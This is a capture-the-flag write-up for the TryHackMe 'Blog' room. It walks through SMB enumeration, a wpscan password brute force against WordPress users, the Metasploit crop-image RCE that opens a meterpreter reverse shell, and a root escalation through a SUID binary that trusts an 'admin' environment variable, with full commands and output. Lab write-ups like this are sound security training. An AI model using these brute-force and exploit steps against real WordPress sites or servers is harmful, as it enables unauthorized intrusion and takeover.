THM Writeup – Blog

THM Writeup – Blog

THM Writeup - Blog

Billy Joel made a WordPress blog!

Room: Blog

Difficulty: Medium

Operating System: Linux

Author: Nameless0ne

Billy Joel made a blog on his home computer and has started working on it. It’s going to be so awesome!

Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole…

In order to get the blog to work with AWS, you’ll need to add blog.thm to your /etc/hosts file.

Credit to Sq00ky for the root privesc idea 😉

Add IP address to your hosts file:

echo '10.10.177.209    blog.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv blog.thm

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 22,80,139,445 blog.thm

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (EdDSA)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Billy Joel's IT Blog – The IT blog
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

We have 4 ports open: 22 (SSH – Secure Shell), 80 (WEB – Web Server), 139 (Netbios-ssn) and 445 (SMB – Samba Share)

Enumeration, enumeration, enumeration…

Download enum4linux, a tool used to enumerate SMB shares on both Windows and Linux systems and make it executable:

wget https://raw.githubusercontent.com/CiscoCXSecurity/enum4linux/master/enum4linux.pl
chmod +x enum4linux.pl

List possible users:

root@attackbox:~# ./enum4linux.pl -U blog.thm
WARNING: polenum is not in your path.  Check that package is installed and your PATH is sane.

 =========================================( Target Information )=========================================

Target ........... blog.thm
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==============================( Enumerating Workgroup/Domain on blog.thm )==============================


[+] Got domain/workgroup name: WORKGROUP


 =====================================( Session Check on blog.thm )=====================================


[+] Server blog.thm allows sessions using username '', password ''


 ==================================( Getting domain SID for blog.thm )==================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 =========================================( Users on blog.thm )=========================================

Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

As we can see the server allows sessions without username and password.

List remote shares using smbmap:

root@attackbox:~# smbmap.py -H blog.thm -u anonymous

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com   
                     https://github.com/ShawnDEvans/smbmap

                                                                                                    
[+] IP: blog.thm:445	Name: unknown             	Status: Guest session   
        Disk                                                  	Permissions	Comment
    ----                                                  	-----------	-------
    print$                                            	NO ACCESS	Printer Drivers
    BillySMB                                          	READ, WRITE	Billy's local SMB Share
    IPC$                                              	NO ACCESS	IPC Service (blog server (Samba, Ubuntu))

Now connect to BillySMB share:

root@attackbox:~# smbclient //blog.thm/BillySMB
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \>

Instead of typing a password, hit ENTER.

List files and download what you’ll find:

smb: \> ls
  .                                   D        0  Thu May 19 06:06:49 2022
  ..                                  D        0  Tue May 26 18:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 19:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 19:13:45 2020
  check-this.png                      N     3082  Tue May 26 19:13:43 2020

        15413192 blocks of size 1024. 9788756 blocks available

Turn off the prompt and download all 3 files:

smb: \> prompt OFF
smb: \> mget *
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (285.9 KiloBytes/sec) (average 285.9 KiloBytes/sec)
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (8051.6 KiloBytes/sec) (average 4698.3 KiloBytes/sec)
getting file \check-this.png of size 3082 as check-this.png (752.4 KiloBytes/sec) (average 4639.4 KiloBytes/sec)
smb: \>

Check the .jpg file if there is a hidden message:

root@attackbox:~# steghide info Alice-White-Rabbit.jpg 
"Alice-White-Rabbit.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "rabbit_hole.txt":
    size: 48.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Instead of typing a passphrase, hit ENTER.

Now extract the hidden .txt file and read it:

root@attackbox:~# steghide extract -sf Alice-White-Rabbit.jpg 
Enter passphrase: 
wrote extracted data to "rabbit_hole.txt".
root@attackbox:~# cat rabbit_hole.txt 
You've found yourself in a rabbit hole, friend.

It looks like we went wrong way 🙂

Let’s take a look at the .png file:

QR Code

It is a QR code, when we read it we get an URL: https://qrgo.page.link/M6dE

By browsing the URL we are redirected to youtube:

youtube.com billy joel - we didn't start the fire

It looks like another rabbit hole…

Now let’s take a look at port 80 – WordPress site – browse to http://blog.thm:

Port 80 - WordPress site - Billy Joel's IT Blog

Enumerate the WordPress site using wpscan:

root@attackbox:~# wpscan --url blog.thm -e vp,vt,cb,u

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://blog.thm/ [10.10.177.209]

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://blog.thm/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://blog.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

[+] WordPress theme in use: twentytwenty
 | Location: http://blog.thm/wp-content/themes/twentytwenty/
 | Last Updated: 2022-01-25T00:00:00.000Z
 | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.9
 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating Vulnerable Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:00:03 <> (470 / 470) 100.00% Time: 00:00:03
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <=> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

We found out some interesting information:

  • there is robots.txt file
  • XML-RPC is enabled
  • it is vulnerable/insecure WordPress version 5.0
  • theme used is twentytwenty
  • few usernames: kwheelbjoel

At this point I tried to find bjoel‘s password using wpscan:

wpscan --url blog.thm -U bjoel --passwords /usr/share/wordlists/rockyou.txt

I let it run for like 2 minutes, but no luck.

So I tried the same with user kwheel:

wpscan --url blog.thm -U kwheel --passwords /usr/share/wordlists/rockyou.txt

[!] Valid Combinations Found:
 | Username: kwheel, Password: [REDACTED]

After like 30 seconds I had their password.

Browse to http://blog.thm/wp-admin and log in using credentials we’ve just found:

WordPress Dashboard

Getting a shell

So let’s recapitulate what we’ve got:

  • access to user kwheel that is at least author – we saw her post on the main page http://blog.thm
  • vulnerable WordPress version 5.0

Let’s find an exploit for our WP version – look at exploit-db.com:

exploit-db.com wordpress 5.0 search results

We found a verified exploit Crop-image Shell Upload created by Metasploit.

According to description we need a valid user with at least author privileges:

wordpress crop-image shell upload description

That is great, because we’ve got one 🙂

Launch metasploit:

msfconsole

Search for the exploit in metasploit and select it:

msf5 > search crop-image

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

msf5 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/wp_crop_rce) >

See what options we need to set up:

msf5 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.102.227    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   WordPress


msf5 exploit(multi/http/wp_crop_rce) >

We need to set these options: PASSWORDRHOSTSUSERNAME:

msf5 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
PASSWORD => cutiepie1
msf5 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
USERNAME => kwheel
msf5 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
RHOSTS => blog.thm
msf5 exploit(multi/http/wp_crop_rce) >

Now exploit it:

msf5 exploit(multi/http/wp_crop_rce) > exploit

[*] Started reverse TCP handler on 10.10.102.227:4444 
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38288 bytes) to 10.10.177.209
[*] Meterpreter session 1 opened (10.10.102.227:4444 -> 10.10.177.209:49322) at 
[*] Attempting to clean up files...

meterpreter >

And we’ve got a meterpreter session.

Check what users exist on this machine:

meterpreter > ls -la /home
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2020-05-26 21:08:48 +0100  bjoel

Find user.txt and read it:

meterpreter > cd /home/bjoel
meterpreter > ls -la
Listing: /home/bjoel
====================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
20666/rw-rw-rw-   0      cha   2022-05-19 05:54:43 +0100  .bash_history
100644/rw-r--r--  220    fil   2018-04-04 19:30:26 +0100  .bash_logout
100644/rw-r--r--  3771   fil   2018-04-04 19:30:26 +0100  .bashrc
40700/rwx------   4096   dir   2020-05-25 14:15:58 +0100  .cache
40700/rwx------   4096   dir   2020-05-25 14:15:58 +0100  .gnupg
100644/rw-r--r--  807    fil   2018-04-04 19:30:26 +0100  .profile
100644/rw-r--r--  0      fil   2020-05-25 14:16:22 +0100  .sudo_as_admin_successful
100644/rw-r--r--  69106  fil   2020-05-26 19:33:24 +0100  Billy_Joel_Termination_May20-2020.pdf
100644/rw-r--r--  57     fil   2020-05-26 21:08:47 +0100  user.txt

meterpreter > cat user.txt
You won't find what you're looking for here.

TRY HARDER

Hmm, another rabbit hole.

Privilege Escalation

Spawn a shell in our meterpreter session:

meterpreter > shell
Process 17884 created.
Channel 2 created.

Try to find a way to escalate our privileges – find executables with SUID bit set:

find / -type f -perm -4000 2>/dev/null

/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd

Executable that stands out is /usr/sbin/checker – honestly, I have no idea what it is and what it does…

Check who is the owner:

ls -la /usr/sbin/checker
-rwsr-sr-x 1 root root 8432 May 26  2020 /usr/sbin/checker

It is owned by root user and has the SUID bit set so we might be able to escalate our privileges to root.

Let’s run the binary – see what happens:

/usr/sbin/checker
Not an Admin

The “response” is Not an Admin – it probably somehow checks if user that runs it, is admin.

At this point I used ltrace so I know how the binary works (ltrace is a debugging utility in Linux, used to display the calls a userspace application makes to shared libraries):

ltrace /usr/sbin/checker
getenv("admin")                                  = nil
puts("Not an Admin")                             = 13
Not an Admin
+++ exited (status 0) +++

This is going to be easier than I thought – it gets environment variable called admin and then it prints out Not an Admin – my guess is we just need to set admin env variable.

Let’s give it a try and see what happens:

export admin=1
ltrace /usr/sbin/checker
getenv("admin")                                  = "1"
setuid(0)                                        = -1
system("/bin/bash"

Great news – this way we get root – if admin=1 it will set UID to root and run bash

So execute the binary again, but this time without ltrace:

/usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Now, there must be another user.txt file, since the one we found earlier was a rabbit hole:

find / -type f -name "user.txt" 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt

Read the user flag:

cat /media/usb/user.txt
[REDACTED]

And of course don’t forget to read the root flag:

cat /root/root.txt
[REDACTED]

Do you like this writeup? Check out other THM Writeups.

Comments are closed.